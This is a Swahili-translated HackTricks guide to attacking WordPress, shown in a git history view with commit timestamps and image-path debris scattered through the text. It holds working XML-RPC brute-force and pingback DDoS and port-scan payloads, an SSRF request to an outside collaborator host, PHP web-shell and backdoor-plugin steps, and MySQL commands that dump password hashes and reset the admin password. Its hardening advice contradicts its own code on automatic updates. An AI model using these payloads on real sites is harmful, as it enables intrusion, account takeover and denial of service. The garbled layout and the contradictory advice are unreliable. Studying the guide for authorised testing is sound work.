hacktricks/network-services-pentesting/pentesting-web/wordpress.md

410 lines
20 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Wordpress
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:24:39 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutomatisha mchakato** unaotumia zana za **jamii za juu zaidi** ulimwenguni.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-11 02:13:58 +00:00
## Taarifa Msingi
Faili zilizopakiwa zinakwenda: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**Faili za mandhari zinaweza kupatikana katika /wp-content/themes/**, kwa hivyo ikiwa unabadilisha php fulani ya mandhari ili kupata RCE labda utatumia njia hiyo. Kwa mfano: Ukitumia **mandhari ya twentytwelve** unaweza **kufikia** faili ya **404.php** katika: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**URL nyingine inayoweza kufaa ni:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2024-02-11 02:13:58 +00:00
Katika **wp-config.php** unaweza kupata nenosiri la msingi la hifadhidata.
Njia za kuingia za msingi za kuangalia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
2024-02-11 02:13:58 +00:00
### **Faili Kuu za WordPress**
* `index.php`
2024-02-11 02:13:58 +00:00
* `license.txt` ina habari muhimu kama toleo la WordPress lililowekwa.
* `wp-activate.php` hutumiwa kwa mchakato wa kuamsha barua pepe wakati wa kuanzisha tovuti mpya ya WordPress.
2024-02-11 02:13:58 +00:00
* Vichupo vya kuingia (vinaweza kubadilishwa jina ili kuficha):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` ni faili inayowakilisha kipengele cha WordPress kinachowezesha data kutumwa na HTTP ikifanya kazi kama mbinu ya usafirishaji na XML kama mbinu ya uendeshaji. Aina hii ya mawasiliano imebadilishwa na [API ya REST ya WordPress](https://developer.wordpress.org/rest-api/reference).
* Kabrasha cha `wp-content` ndio kabrasha kuu ambapo programu-jalizi na mandhari zinahifadhiwa.
* `wp-content/uploads/` Ni kabrasha ambapo faili zozote zilizopakiwa kwenye jukwaa zinahifadhiwa.
* `wp-includes/` Hii ni kabrasha ambapo faili za msingi zinahifadhiwa, kama vyeti, herufi, faili za JavaScript, na vidude.
* `wp-sitemap.xml` Katika toleo la WordPress 5.5 na zaidi, WordPress inazalisha faili ya sitemap XML na machapisho yote ya umma na aina za machapisho na taksonomia zinazoweza kuulizwa kwa umma.
**Udukuzi wa Baada ya Uzinduzi**
* Faili ya `wp-config.php` ina habari inayohitajika na WordPress kuunganisha kwenye hifadhidata kama vile jina la hifadhidata, mwenyeji wa hifadhidata, jina la mtumiaji na nenosiri, funguo za uthibitishaji na chumvi, na kiambishi cha meza ya hifadhidata. Faili hii ya usanidi inaweza pia kutumika kuamsha hali ya DEBUG, ambayo inaweza kuwa na manufaa katika kutatua matatizo.
2024-02-11 02:13:58 +00:00
### Vibali vya Watumiaji
2024-02-11 02:13:58 +00:00
* **Msimamizi**
* **Mhariri**: Chapisha na simamia machapisho yake na ya wengine
* **Mwandishi**: Chapisha na simamia machapisho yake mwenyewe
* **Mchangiaji**: Andika na simamia machapisho yake lakini hawezi kuyachapisha
* **Mfuasi**: Tafuta machapisho na hariri wasifu wao
2024-02-11 02:13:58 +00:00
## **Uchunguzi wa Kimya**
2024-02-11 02:13:58 +00:00
### **Pata toleo la WordPress**
2024-02-11 02:13:58 +00:00
Angalia ikiwa unaweza kupata faili `/license.txt` au `/readme.html`
2024-02-11 02:13:58 +00:00
Ndani ya **msimbo wa chanzo** wa ukurasa (mfano kutoka [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
2022-10-02 23:08:05 +00:00
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `jina la meta`
![](<../../.gitbook/assets/image (343).png>)
* Faili za kiungo cha CSS
![](<../../.gitbook/assets/image (344).png>)
* Faili za JavaScript
![](<../../.gitbook/assets/image (346).png>)
2024-02-11 02:13:58 +00:00
### Pata Programu-jalizi
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Pata Mada
{% code overflow="wrap" %}
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2024-02-11 02:13:58 +00:00
### Kunasa toleo kwa ujumla
{% endcode %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa urahisi zaidi yaliyotengenezwa na zana za jamii **za juu zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
## Uchambuzi wa Kazi
### Programu-jalizi na Mada
Labda hautaweza kupata Programu-jalizi na Mada zote zinazowezekana. Ili kugundua zote, utahitaji **kufanya Brute Force kwa orodha ya Programu-jalizi na Mada** (kwa bahati nzuri kuna zana za kiotomatiki zinazojumuisha orodha hizi).
2024-02-11 02:13:58 +00:00
### Watumiaji
**ID Brute**
2024-02-11 02:13:58 +00:00
Unaweza kupata watumiaji halali kutoka kwenye tovuti ya WordPress kwa kufanya Brute Force kwa vitambulisho vya watumiaji:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
Ikiwa majibu ni **200** au **30X**, hii inamaanisha kuwa id ni **sahihi**. Ikiwa majibu ni **400**, basi id ni **batili**.
2022-04-28 23:27:22 +00:00
**wp-json**
Unaweza pia jaribu kupata taarifa kuhusu watumiaji kwa kuuliza:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
Endpoint nyingine ya `/wp-json/` ambayo inaweza kufichua baadhi ya taarifa kuhusu watumiaji ni:
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Mkia huu unaonyesha watumiaji ambao wametoa chapisho. **Taarifa kuhusu watumiaji walio na kipengele hiki kimezimwa tu ndio itatolewa**.
Pia kumbuka kwamba **/wp-json/wp/v2/pages** inaweza kufichua anwani za IP.
#### Uchambuzi wa majina ya kuingia
2022-10-02 23:08:05 +00:00
Unapojiingiza katika **`/wp-login.php`** ujumbe ni **tofauti** ikiwa **jina la mtumiaji linaweza kuwepo au la**.
2022-05-01 16:57:45 +00:00
### XML-RPC
Ikiwa `xml-rpc.php` iko hai unaweza kufanya jaribio la nguvu la siri au kutumia kuzindua mashambulizi ya DoS kwa rasilimali zingine. (Unaweza kiotomatiki mchakato huu [kutumia hii](https://github.com/relarizky/wpxploit) kama mfano).
Ili kuona ikiwa iko hai jaribu kupata ufikivu wa _**/xmlrpc.php**_ na tuma ombi hili:
2024-02-11 02:13:58 +00:00
**Angalia**
```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Kuvunja Nywila za Mibofyo**
**`wp.getUserBlogs`**, **`wp.getCategories`** au **`metaWeblog.getUsersBlogs`** ni baadhi ya njia zinazoweza kutumika kuvunja nywila za mibofyo. Ikiwa unaweza kupata mojawapo yao, unaweza kutuma kitu kama:
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
Ujumbe _"Jina la mtumiaji au nywila sio sahihi"_ ndani ya jibu la nambari 200 unapaswa kuonekana ikiwa vyeti havijathibitishwa.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
2022-10-08 16:35:25 +00:00
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
2024-02-11 02:13:58 +00:00
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
2022-10-08 16:35:25 +00:00
</methodCall>
```
Pia kuna **njia ya haraka** ya kuvunja siri kutumia **`system.multicall`** kwa kujaribu siri kadhaa kwenye ombi moja:
2022-10-22 15:26:54 +00:00
<figure><img src="../../.gitbook/assets/image (188).png" alt=""><figcaption></figcaption></figure>
**Kupita 2FA**
2022-02-09 20:26:27 +00:00
Mbinu hii imelengwa kwa programu na sio kwa binadamu, na ni ya zamani, kwa hivyo haisaidii 2FA. Kwa hivyo, ikiwa una siri halali lakini mlango mkuu unalindwa na 2FA, **unaweza kutumia xmlrpc.php kuingia na siri hizo bila kuzingatia 2FA**. Tafadhali kumbuka kuwa huenda usiweze kufanya vitendo vyote unavyoweza kufanya kupitia konsoli, lakini bado unaweza kufikia RCE kama Ippsec anavyoelezea katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
2022-02-09 20:26:27 +00:00
2024-02-11 02:13:58 +00:00
**DDoS au uchunguzi wa bandari**
Ikiwa unaweza kupata njia _**pingback.ping**_ kwenye orodha unaweza kufanya Wordpress itume ombi la aina yoyote kwa mwenyeji / bandari yoyote.\
Hii inaweza kutumika kuomba **maelfu** ya **maeneo** ya **Wordpress** kufikia **eneo** moja (hivyo **DDoS** inasababishwa katika eneo hilo) au unaweza kutumia kuifanya **Wordpress** kufanya **uchunguzi** wa ndani wa **mtandao** (unaweza kuashiria bandari yoyote).
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
2024-02-11 02:13:58 +00:00
![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Ikiwa unapata **faultCode** na thamani **kubwa** kuliko **0** (17), inamaanisha bandari iko wazi.
Angalia matumizi ya **`system.multicall`** katika sehemu iliyopita kujifunza jinsi ya kutumia njia hii kusababisha DDoS.
2022-12-09 14:47:58 +00:00
**DDoS**
```markup
<methodCall>
2024-02-11 02:13:58 +00:00
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](<../../.gitbook/assets/image (103).png>)
2022-12-09 14:47:58 +00:00
### wp-cron.php DoS
Faili hili kawaida huwepo chini ya mzizi wa tovuti ya Wordpress: **`/wp-cron.php`**\
Wakati faili hii inapopatikana, **kazi nzito** ya MySQL hufanywa, hivyo inaweza kutumiwa na **wahalifu** kusababisha **DoS**.\
Pia, kwa chaguo-msingi, `wp-cron.php` huitwa kila wakati ukurasa unapakia (wakati mteja anapoomba ukurasa wowote wa Wordpress), ambayo kwenye tovuti zenye trafiki kubwa inaweza kusababisha matatizo (DoS).
2022-12-09 14:47:58 +00:00
Inapendekezwa kuzima Wp-Cron na kuunda cronjob halisi ndani ya mwenyeji ambayo itatekeleza hatua zinazohitajika kwa kipindi cha kawaida (bila kusababisha matatizo).
2022-12-09 14:47:58 +00:00
2022-05-01 16:57:45 +00:00
### /wp-json/oembed/1.0/proxy - SSRF
Jaribu kupata _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ na tovuti ya Worpress inaweza kufanya ombi kwako.
2024-02-11 02:13:58 +00:00
Hii ni majibu wakati haifanyi kazi:
2022-09-30 10:43:59 +00:00
![](<../../.gitbook/assets/image (184) (1).png>)
2022-05-01 16:57:45 +00:00
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Chombo hiki huchunguza ikiwa **methodName: pingback.ping** na kwa njia **/wp-json/oembed/1.0/proxy** na ikiwepo, hujaribu kuzitumia.
2024-02-11 02:13:58 +00:00
### Zana za Kiotomatiki
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
2022-02-09 20:26:27 +00:00
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia** mchakato wa kiotomatiki ulioendeshwa na zana za jamii **za juu zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-11 02:13:58 +00:00
## Pata ufikiaji kwa kubadilisha kidogo
2022-06-23 12:12:25 +00:00
Zaidi ya shambulio la kweli hili ni mshangao. Katika CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) unaweza kubadilisha biti 1 kutoka kwa faili yoyote ya wordpress. Kwa hivyo unaweza kubadilisha nafasi `5389` ya faili `/var/www/html/wp-includes/user.php` kuwa NOP ya operesheni ya NOT (`!`).
2022-06-23 12:12:25 +00:00
```php
2024-02-11 02:13:58 +00:00
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
2022-06-23 12:12:25 +00:00
```
## **Panel RCE**
2022-06-23 12:12:25 +00:00
**Kuweka php kutoka kwa mandhari iliyotumiwa (mamlaka ya admin inahitajika)**
Muonekano → Mhariri wa Mandhari → 404 Kigezo (upande wa kulia)
2024-02-11 02:13:58 +00:00
Badilisha maudhui kwa php shell:
2022-12-24 19:34:46 +00:00
![](<../../.gitbook/assets/image (21) (1) (1).png>)
Tafuta kwenye mtandao jinsi unavyoweza kupata ukurasa ulioboreshwa. Katika kesi hii unapaswa kupata hapa: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2022-05-01 16:57:45 +00:00
### MSF
2024-02-11 02:13:58 +00:00
Unaweza kutumia:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
2022-05-01 16:57:45 +00:00
## Plugin RCE
2022-05-01 16:57:45 +00:00
### PHP plugin
Inawezekana kupakia faili za .php kama programu-jalizi. Unda mlango wako wa nyuma wa php kwa mfano:
![](<../../.gitbook/assets/image (407).png>)
2024-02-11 02:13:58 +00:00
Kisha ongeza programu-jalizi mpya:
![](<../../.gitbook/assets/image (409).png>)
2024-02-11 02:13:58 +00:00
Pakia programu-jalizi na bonyeza Sakinisha Sasa:
![](<../../.gitbook/assets/image (411).png>)
2024-02-11 02:13:58 +00:00
Bonyeza Endelea:
![](<../../.gitbook/assets/image (412).png>)
Labda hii haitafanya chochote kwa muonekano, lakini ukiondoka kwenye Media, utaona ganda lako limepakuliwa:
![](<../../.gitbook/assets/image (413).png>)
ifikia na utaona URL ya kutekeleza ganda la nyuma:
![](<../../.gitbook/assets/image (414).png>)
### Upakiaji na kuamilisha programu-jalizi yenye nia mbaya
Mbinu hii inahusisha usakinishaji wa programu-jalizi yenye nia mbaya inayojulikana kuwa na kasoro na inaweza kutumiwa kupata ganda la wavuti. Mchakato huu unatekelezwa kupitia kisanduku cha WordPress kama ifuatavyo:
2024-02-11 02:13:58 +00:00
1. **Upatikanaji wa Programu-jalizi**: Programu-jalizi inapatikana kutoka chanzo kama Exploit DB kama [**hapa**](https://www.exploit-db.com/exploits/36374).
2. **Usakinishaji wa Programu-jalizi**:
* Nenda kwenye kisanduku cha WordPress, kisha nenda kwa `Kisanduku > Programu-jalizi > Pakia Programu-jalizi`.
* Pakia faili ya zip ya programu-jalizi iliyopakuliwa.
3. **Ufanyaji wa Programu-jalizi**: Mara programu-jalizi inaposakinishwa kwa mafanikio, lazima iamilishwe kupitia kisanduku.
2024-02-11 02:13:58 +00:00
4. **Udanganyifu**:
* Ikiwa programu-jalizi "reflex-gallery" imesakinishwa na kuamilishwa, inaweza kutumiwa kwa sababu inajulikana kuwa na kasoro.
* Kituo cha Metasploit hutoa udanganyifu kwa kasoro hii. Kwa kupakia moduli sahihi na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, kutoa ufikiaji usioruhusiwa kwenye wavuti.
* Inasisitizwa kuwa hii ni moja tu ya njia nyingi za kutumia kasoro kwenye wavuti ya WordPress.
Yaliyomo yanajumuisha msaada wa kuona unaonyesha hatua katika kisanduku cha WordPress kwa kusakinisha na kuamilisha programu-jalizi. Walakini, ni muhimu kutambua kwamba kutumia kasoro kwa njia hii ni kinyume cha sheria na si maadili bila idhini sahihi. Taarifa hii inapaswa kutumiwa kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile upimaji wa uingiliaji na idhini wazi.
**Kwa hatua za kina zaidi angalia:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Baada ya Udanganyifu
2024-02-11 02:13:58 +00:00
Chambua majina ya watumiaji na nywila:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
**Badilisha nenosiri la admin:**
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Kinga ya WordPress
### Visasisho vya Kawaida
Hakikisha WordPress, programu-jalizi, na mandhari zinasasishwa. Pia hakikisha kuwa visasisho vya moja kwa moja vimezimwa katika wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Pia, **sakinisha tu programu-jalizi na mandhari za WordPress zinazoweza kuaminiwa**.
2024-02-11 02:13:58 +00:00
### Programu-jalizi za Usalama
2024-02-11 02:13:58 +00:00
* [**Usalama wa Wordfence**](https://wordpress.org/plugins/wordfence/)
* [**Usalama wa Sucuri**](https://wordpress.org/plugins/sucuri-scanner/)
* [**Usalama wa iThemes**](https://wordpress.org/plugins/better-wp-security/)
2024-02-11 02:13:58 +00:00
### **Mapendekezo Mengine**
2024-02-11 02:13:58 +00:00
* Ondoa mtumiaji wa msingi wa **admin**
* Tumia **nywila imara** na **2FA**
2024-02-11 02:13:58 +00:00
* Kagua mara kwa mara **ruhusa za watumiaji**
* **Zuia jaribio la kuingia** ili kuzuia mashambulizi ya Brute Force
* Badilisha jina la faili la **`wp-admin.php`** na ruhusu ufikiaji ndani au kutoka kwa anwani za IP fulani.
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu za kiotomatiki** zilizotengenezwa na zana za jamii **za juu zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:24:39 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>